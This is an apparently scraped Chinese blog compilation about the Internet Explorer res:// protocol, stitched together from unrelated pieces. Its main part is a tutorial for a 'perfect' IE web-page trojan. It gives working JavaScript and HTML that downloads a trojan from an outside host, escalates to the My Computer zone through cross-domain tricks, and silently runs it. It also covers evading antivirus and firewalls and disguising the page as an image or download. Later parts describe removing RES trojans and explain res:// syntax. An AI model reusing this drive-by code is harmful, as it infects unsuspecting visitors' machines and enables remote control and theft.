Res协议,专题
打造完美的IE網(wǎng)頁木馬 icyfox????
??(測試頁面:http://www.godog.y365.com/runexe/icyfox.htm,此處所運行的程序不是木馬!)
既然要打造完美的IE網(wǎng)頁木馬,首先就必須給我們的完美制定一個標準,我個人認為一個完美的IE網(wǎng)頁木馬至少應(yīng)具備下列四項特征:
一:可以躲過殺毒軟件的追殺;
二:可以避開網(wǎng)絡(luò)防火墻的報警;
三:能夠適用于多數(shù)的WINDOWS操作系統(tǒng)(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多數(shù)IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP補丁;
四:讓瀏覽者不容易發(fā)覺IE變化,即可以悄無聲息,從而可以長久不被發(fā)現(xiàn)。
(注意以上四點只是指網(wǎng)頁本身而言,但不包括你的木馬程序,也就是說我們的網(wǎng)頁木馬只是負責運行指定的木馬程序,至于你的木馬程序的好壞只有你自己去選擇啦!別找我要,我不會寫的哦!)
滿足以上四點我想才可以讓你的馬兒更青春更長久,跑的更歡更快……
看了上面的幾點你是不是心動拉?別急,我們還是先侃侃現(xiàn)有的各種IE網(wǎng)頁木馬的不足吧!
第一種:利用古老的MIME漏洞的IE網(wǎng)頁木馬
這種木馬現(xiàn)在還在流行,但因為此漏洞太過古老且適用的IE版本較少,而當時影響又太大,補丁差不多都補上啦,因此這種木馬的種植成功率比較低。
第二種:利用com.ms.activeX.ActiveXComponent漏洞,結(jié)合WSH及FSO控件的IE網(wǎng)頁木馬
雖然com.ms.activeX.ActiveXComponent漏洞廣泛存在于多數(shù)IE版本中,是一個比較好的漏洞,利用價值非常高,但卻因為它結(jié)合了流行的病毒調(diào)用的WSH及FSO控件,使其雖說可以避開網(wǎng)絡(luò)防火墻的報警,可逃不脫殺毒軟件的追捕(如諾頓)。
第三種:利用OBJECT對象類型確認漏洞(Object Data Remote)并結(jié)合WSH及FSO控件的IE網(wǎng)頁木馬(典型的代表有動鯊網(wǎng)頁木馬生成器)
此種木馬最大的優(yōu)點是適應(yīng)的IE版本多,且漏洞較新,但卻有如下不足:
1、因為此漏洞要調(diào)用Mshta.exe來訪問網(wǎng)絡(luò)下載木馬程序,所以會引起防火墻報警(如天網(wǎng)防火墻);
2、如果此IE網(wǎng)頁木馬又利用了WSH及FSO控件,同樣逃不脫殺毒軟件的追捕(如諾頓),而
動鯊網(wǎng)頁木馬又恰恰使用了WSH及FSO控件,嘆口氣……可惜呀……?
3、再有就是這個漏洞需要網(wǎng)頁服務(wù)器支持動態(tài)網(wǎng)頁如ASP、JSP、CGI等,這就影響了它的發(fā)揮,畢竟現(xiàn)在的免費穩(wěn)定的動態(tài)網(wǎng)頁空間是少之又少;雖說此漏洞也可利用郵件MIME的形式(見我在安全焦點上發(fā)表的文章:《由錯誤MIME漏洞的利用想到的......---IE Object Data 數(shù)據(jù)遠程執(zhí)行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)來利用,但經(jīng)測試發(fā)現(xiàn)對IE6.0不起作用。
看到上面的分析你是不是有了這種感覺:千軍易得,一將難求,馬兒成群,奈何千里馬難尋!別急,下面讓我?guī)н@大家一起打造我心中的完美IE網(wǎng)頁木馬。
首先要躲過殺毒軟件的追殺,我們就不能利用WSH和FSO控件,因為只要利用了WSH和FSO控件就一定逃不脫“諾頓”的追殺,這可叫我們該如何是好?!別急,經(jīng)過我的努力工作(說真的我也是在研究ASP木馬時偶然發(fā)現(xiàn)的靈感)終于我有找到了一個可以用的控件,那就是 shell.application,并且它可是經(jīng)過了安全認證的,可以在“我的電腦”域中的網(wǎng)頁中暢通無阻的執(zhí)行,比WSH和FSO更容易得到執(zhí)行權(quán)限(利用跨域漏洞即可),請看下面javascript代碼:
<SCRIPT LANGUAGE="javascript" type="text/javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c://Windows//").items().item("Notepad.exe").invokeverb();
</SCRIPT>
保存為test.htm后打開看是否自動打開了記事本程序,而且不會象WSH和FSO那樣出現(xiàn)是否允許運行的提示框,是不是有點興趣啦?現(xiàn)在我們已可以運行所有已知路徑的程序,但我們要求運行我們自己的木馬程序,所以還要求把我們的木馬程序下載到瀏覽者的電腦上并找出它的位置。我們一個個來解決:
1、下載木馬程序到瀏覽者的電腦中
這一點可以有很多解決方法,比如我以前提到的WINDOWS幫助文件訪問協(xié)議下載任意文件漏洞(its:),不過這次我們不用它,再教大家兩個更好的下載方法:
例一:利用SCRIPT標簽,代碼如下:
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
注意此處的LANGUAGE屬性可以為除javascript、VBScript、JScript以外的字符串,也可以是漢字,至于src的屬性當然是你的木馬程序的地址啦!因為現(xiàn)在免費空間出于安全考慮,多數(shù)不允許上傳exe文件,我們可以變通一下把擴展名exe改為bat或pif、scr、com,同樣可以運行。
例二:利用LINK標簽,代碼如下:
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>
把代碼放在標簽<HEAD></HEAD>中間,href屬性值為木馬程序的地址。
上面兩個是我所知的最好的兩種下載木馬程序的方法,它們下載后的程序都保存在在IE臨時目錄Temporary Internet Files目錄下的子目錄中。
2、找出已下載到瀏覽者的腦中的木馬程序路徑
我們可以利用shell.application控件的一些屬性和方法,并結(jié)合js的錯誤處理try{}catch(e){}finally{}語句,進行遞歸調(diào)用來找到木馬程序的路徑,代碼如下:
function icyfoxlovelace(){
//得到WINDOWS系統(tǒng)目錄和系統(tǒng)盤
url=document.location.href;
xtmu=url.substring(6,url.indexOf(’//’,9)+1);
xtp=url.substr(6,3);
var shell=new ActiveXObject("shell.application");
var runbz=1;
//此處設(shè)置木馬程序的大小,以字節(jié)為單位
//請把198201改為你的木馬程序的實際大小
var exeSize=198201;
//設(shè)置木馬程序名及擴展名(exe,com,bat,pif,scr),用于判斷是否是所下載的木馬程序
//請把下面兩行中的icyfox改為你的木馬程序名,bat改為你的木馬程序的擴展名
var a=/icyfox/[/d*/]/.bat/gi;
a.compile("icyfox//[//d*//]//.bat","gi");
var b=/[A-Za-z]:///gi;
b.compile("[A-Za-z]:","gi");//正則表達式,用于判斷是否是盤的根目錄
//下面的代碼查找并運行木馬程序
wjj(xtmu+"Temporary Internet Files//");//Content.IE5/if(runbz)wjj(xtp+"Documents and Settings//");
if(runbz)yp();
//在所有硬盤分區(qū)下查找并運行木馬程序
function yp(){
try{
var c=new Enumerator(shell.namespace("c://").ParentFolder.Items());
for (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else break;
}
}catch(e){}
}
//利用遞歸在指定目錄(包括子目錄)下查找并運行木馬程序
function wjj(b){
try{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext()){
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){
var f=c.item().path;
var v=f.lastIndexOf(’//’)+1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//運行木馬程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path+"//");//如果是子目錄則遞歸調(diào)用
}
}catch(e){}
}
}
icyfoxlovelace();
請把以上代碼保存為icyfox.js。
接下來我們就要利用一個小小跨域執(zhí)行漏洞,來獲得“我的電腦”域的網(wǎng)頁權(quán)限,大家以前是不是和我一樣覺得這種漏洞僅僅只能用來進行跨站腳本攻擊,得到COOKIE之類的東東呢?這次它終于可以露臉啦!代碼如下:
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子網(wǎng)絡(luò)技術(shù)實驗室的完美IE網(wǎng)頁木馬</TITLE>
</HEAD>
<BODY οncοntextmenu="return false" onselectstart="return false" scroll="no" topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此處設(shè)置上面icyfox.js文件的網(wǎng)絡(luò)地址
//請把http://www.godog.y365.com/wodemuma/icyfox.js改為你的icyfox.js文件實際上傳地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(g,’//’);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0利用iframe標簽,src屬性設(shè)為icyfox://則會使此標簽具備“我的電腦”域的權(quán)限,原因是因為icyfox://是不存在的協(xié)議,所以會IE會利用res://協(xié)議打開SHDOCLC.DLL中的語法錯誤頁syntax.htm,而且SHDOCLC.DLL又位于系統(tǒng)目錄中,為在 icyfox.js中得到WINDOWS系統(tǒng)目錄和系統(tǒng)盤提供數(shù)據(jù);*/
document.write("<iframe style=’display:none;’ name=’icyfoxlovelace’ src=’icyfox://’><//iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5、 IE6.0則利用_search漏洞,把打開的地址設(shè)為icyfox://,從而使_search搜索框具備“我的電腦”域的權(quán)限,因為在IE6.0中無法用上面的iframe漏洞,IE5.5應(yīng)該可以用,我沒有測試。這樣做的結(jié)果會打開搜索欄,有點遺憾!*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}
//下面利用file:javascript:協(xié)議漏洞在已是我的電腦”域的權(quán)限的“icyfox://”中插入icyfox.js腳本并運行
function muma0(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","icyfoxlovelace");
}
function muma1(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’"+jsurl+"’;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src=’*.*’></iframe></NOSCRIPT>
</HTML>
把上面的代碼保存為icyfox.htm,如果你愿意可以把擴展名改為jpg并在網(wǎng)頁中加入一個精美的圖片背景,來做一個圖片木馬,甚至你可以改為 exe,來冒充一個好的程序的下載地址,并在網(wǎng)頁的<HEAD></HEAD>中加入標簽<meta http-equiv="refresh" content="5;url=’http://www.godog.y365.com/winrar.exe’">來定時轉(zhuǎn)到另一個真正的程序下載地址,從而更好的欺騙別人。
看到上面的東東是不是讓你有了馬上去實驗的沖動,別急,如果你覺得win98沒必要控制的話,還有更好的木馬等著你,不知大家是否用過 win2000、winxp等系統(tǒng)中默認安裝的ADODB.Stream及Microsoft.XMLHTTP控件?它們可是和 shell.application控件一樣是經(jīng)過了安全認證的,可以在“我的電腦”域中的網(wǎng)頁中暢通無阻執(zhí)行的好東西呀!請看下面的代碼:
function icyfox(){
//設(shè)置下載后保存在系統(tǒng)目錄下的木馬程序名,我設(shè)的是不是很象Explorer.exe呀?呵呵
var name="Explroer.exe";
//設(shè)置你要下載的木馬程序的地址(此處你可以把擴展名任意改,甚至沒有擴展名也可以的)
//可以更好的躲過免費主頁空間的上傳限制
var url="http://www.godog.y365.com/wodemuma/icyfox.bat";
try{
var folder=document.location.href;
folder=folder.substring(6,folder.indexOf(’//’,9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML(’AfterBegin’,’<OBJECT style="display:none;" TYPE="application/x-oleobject" CODEBASE="’+folder+’"></OBJECT>’);
}
catch(e){}
}
icyfox();
把上面的的代碼保存為icyfox.js替換上面保存的icyfox.js文件,同樣利用上面的icyfox.htm來注入到“我的電腦”域中,呵呵你就偷這樂吧!
最后還請大家發(fā)揮以下DIY的能力把上面兩種代碼合二為一,我相信一個現(xiàn)階段最最完美的IE網(wǎng)頁木馬就會在你手中誕生啦!是不是神不知鬼不覺?
提示代碼如下:
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}
呵呵……很晚啦,我要睡覺去啦,886
從修復about:blank默認頁面到RES病毒的查殺
有些朋友經(jīng)常抱怨,自己把IE的主頁設(shè)置為了about:blank還是進入別的站點。我們應(yīng)該怎樣面對這種煩人的現(xiàn)象呢????? 首先我們要先看一下設(shè)置為about:blank后打開IE系統(tǒng)是怎樣工作的。
???? IE會進入一個空白頁面,其實這個頁面其實是指向了一個地址,默認是res://mshtml.dll/blank.htm?
???? 這個地址是可以修改的,其修改地址就在注冊表中相應(yīng)注冊鍵是
???? HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/AboutURLs
???? 進去看看吧,把他修改回默認的值或者你喜歡的網(wǎng)頁都可以。
???? 這種情況下往往是由于RES協(xié)議造成的。說到RES就不得不提一下RES病毒。最近網(wǎng)上在流傳殺不干凈得木馬吧
?
???? 這些也就是一些殺毒軟件殺不完全病毒造成的,用殺毒軟件殺毒后,過不了多久就會繼續(xù)中標。此類木馬利用了RES協(xié)議的漏洞,手段很隱蔽。
???? 下面我們看一下RES木馬的原理。我們在用IE瀏覽網(wǎng)頁的時候,系統(tǒng)會調(diào)用shdoclc.dll中的資源,windows系統(tǒng)規(guī)定在載入dll文件的時候,如果dll文件含有dllmain函數(shù)就對它進行初始化,但是正常的shdoclc.dll文件是沒有dllmain函數(shù)的,他只是包含了各種資源而已。RES木馬包含的dllmain函數(shù),利用這一點,我們就會在瀏覽網(wǎng)頁的時候自動中招。
??? 我們了解了RES木馬原理后,我們便可以把系統(tǒng)的RES給找出來了。原shdoclc.dll文件沒有任何執(zhí)行代碼,其函數(shù)輸出表應(yīng)該為空,但是木馬就會調(diào)用系統(tǒng)的API函數(shù)。我們根據(jù)這點來查出系統(tǒng)的RES內(nèi)鬼。
??? 我們要使用的工具是DEPENDENCY WALKER來查看其API輸出表即可。
??? 運行解壓后的文件,使用"FLIE-OPEN"打開shdoclc.dll文件
??? 【默認地址在:c:/windows/sysytm32/shdoclc.dll】
??? 查看左面的函數(shù)輸出表如果為空表明你沒有中這種毒。
??? 如果已經(jīng)中標了,重啟到安全模式,用sfc命令恢復即可,或者從別人機器拷貝一個也可以。 RES協(xié)議
編號:QA000673
建立日期: 1999年3月22日 最后修改日期:1999年3月22日
所屬類別:
Ding:
????據(jù)微軟公司說IE4的URL支持RES協(xié)議,具體的語法為:"res://resource file[/resourcetype]/resource id" ,我試過
????"res://c:/windows/system/shdocvw.dll/navcancl.htm",沒問題;但如自己用VC作個DLL, 就怎么也不行,不知何故?
回答:
????由于你沒有說你是如何制作DLL和調(diào)用你自己的DLL的。這里只好詳細地介紹一下res://協(xié)議的詳細用法。Res://協(xié)議是IE 4.0預定義的一個協(xié)議,它的基本語法正如你所說的。其中resource file指的是含有資源的模塊的文件名,請注意這里的路徑分隔符只能使用“/”,而不能使用“/”。 Resourcetype是資源類型,它是一個字符串或數(shù)字。常用的資源類型都對應(yīng)著一個數(shù),比如BITMAP對應(yīng)著RT_BITMAP=2,這些常數(shù)定義在VC++的WINUSER.H可以找到,如果資源類型是數(shù)字,要在數(shù)字前面加上“#”號。Resourcetype可以省略,默認為RT_HTML=23,即HTML文件。RT_HTML在VC++ 5.0中沒有定義,但現(xiàn)在已經(jīng)廣泛使用。 Resource id表示資源的ID號。在這里要注意一個問題:在VC++中定義資源的時候,通常是使用數(shù)字常量,比如ID_BITMAP1,它代表的數(shù)字可能是101。而在使用res://協(xié)議時,不能使用ID_BITMAP1(在DLL中并沒有這個符號),而必須使用#101來代表資源。例如要顯示一個位圖資源,其ID號為101,應(yīng)為res://mydll.dll/#2/#101。
????如果在VC++制作的DLL中加入HTML資源文件,可以這樣做:選擇Import資源,然后選擇一個HTML文件,當VC++提示資源類型時輸入23(下圖)。然后修改該屬性的ID,例如"MYHTML.HTM"。這里的引號是必須輸入的,如果不輸入引號,VC++會指定一個數(shù)字給這個資源,調(diào)用的方法會有所不同。這樣你可以使用res://mydll.dll/myhtml.htm來調(diào)用這個HTML文件。HTML文件中包含的圖形文件也應(yīng)該以這種方式插入。
????
再分享一下我老師大神的人工智能教程吧。零基礎(chǔ)!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們?nèi)斯ぶ悄艿年犖橹衼?#xff01;https://blog.csdn.net/jiangjunshow
總結(jié)
- 上一篇: mysql定时增量备份_Mysql日常自
- 下一篇: Louvain社区划分算法及Java语言